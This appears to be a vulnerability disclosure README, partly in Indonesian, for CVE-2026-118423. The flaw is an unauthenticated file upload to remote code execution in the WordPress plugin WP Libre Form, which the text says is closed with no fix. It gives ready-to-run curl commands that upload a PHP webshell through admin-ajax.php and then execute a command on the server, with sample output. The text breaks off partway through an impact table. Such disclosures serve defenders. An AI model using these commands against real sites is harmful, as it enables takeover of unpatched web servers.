Critical Severity
CVE-2026-118423
Published: Nov 13, 2026
CVE-2026-118423 — WP Libre Form <= 1.5.0.1 unauthenticated file upload to RCE (PoC, lab-verified)
# CVE-2026-118423 — WP Libre Form <= 1.5.0.1
### Unauthenticated Arbitrary File Upload → Remote Code Execution
[](https://nvd.nist.gov/vuln/detail/CVE-2026-118423)
[](https://cwe.mitre.org/data/definitions/434.html)
[](#impact)
[](#verification)
[](LICENSE)
[](https://www.python.org/)
> **Status plugin:** ditutup dari WordPress.org pada **8 September 2026** — tidak ada versi perbaikan.
> **Verified:** 2026-11-06, lab terisolasi (WP 6.7.1 / PHP 8.2 / Apache).
---
## TL;DR
Plugin WordPress **WP Libre Form** menyimpan file dari submission form **tanpa validasi
tipe/ekstensi apa pun**. Handler-nya terdaftar pada hook `wp_ajax_nopriv_*` (**tanpa
autentikasi**) dan memanggil `move_uploaded_file()` mentah.
Penyerang tanpa akun mengunggah `.php` ke `wp-content/uploads/` → file web-accessible →
**RCE sebagai user web server (biasanya `www-data`)**.
```bash
# 1. Upload webshell (unauth, tanpa nonce, tanpa login)
curl "http://TARGET/wp-admin/admin-ajax.php" \
-F "action=wplf_submit" -F "_form_id=32" \
-F "[email protected];type=application/x-php;filename=pwn.php"
# -> {"ok":1,"submission_id":55,...}
# 2. Eksekusi
curl "http://TARGET/wp-content/uploads/2026/11/lf_2611060113-0-pwn.php?c=id"
# -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
---
## Impact
| | |
|---|---|
| **Tipe** | CWE-434 Unrestricted Upload of File with Dangerous Type |
| **Auth diperlukan** | Tidak ada |
| **User interaction** | Tidak ada |
| **Prerequisite** | Minimal 1 form `wplf-form` pu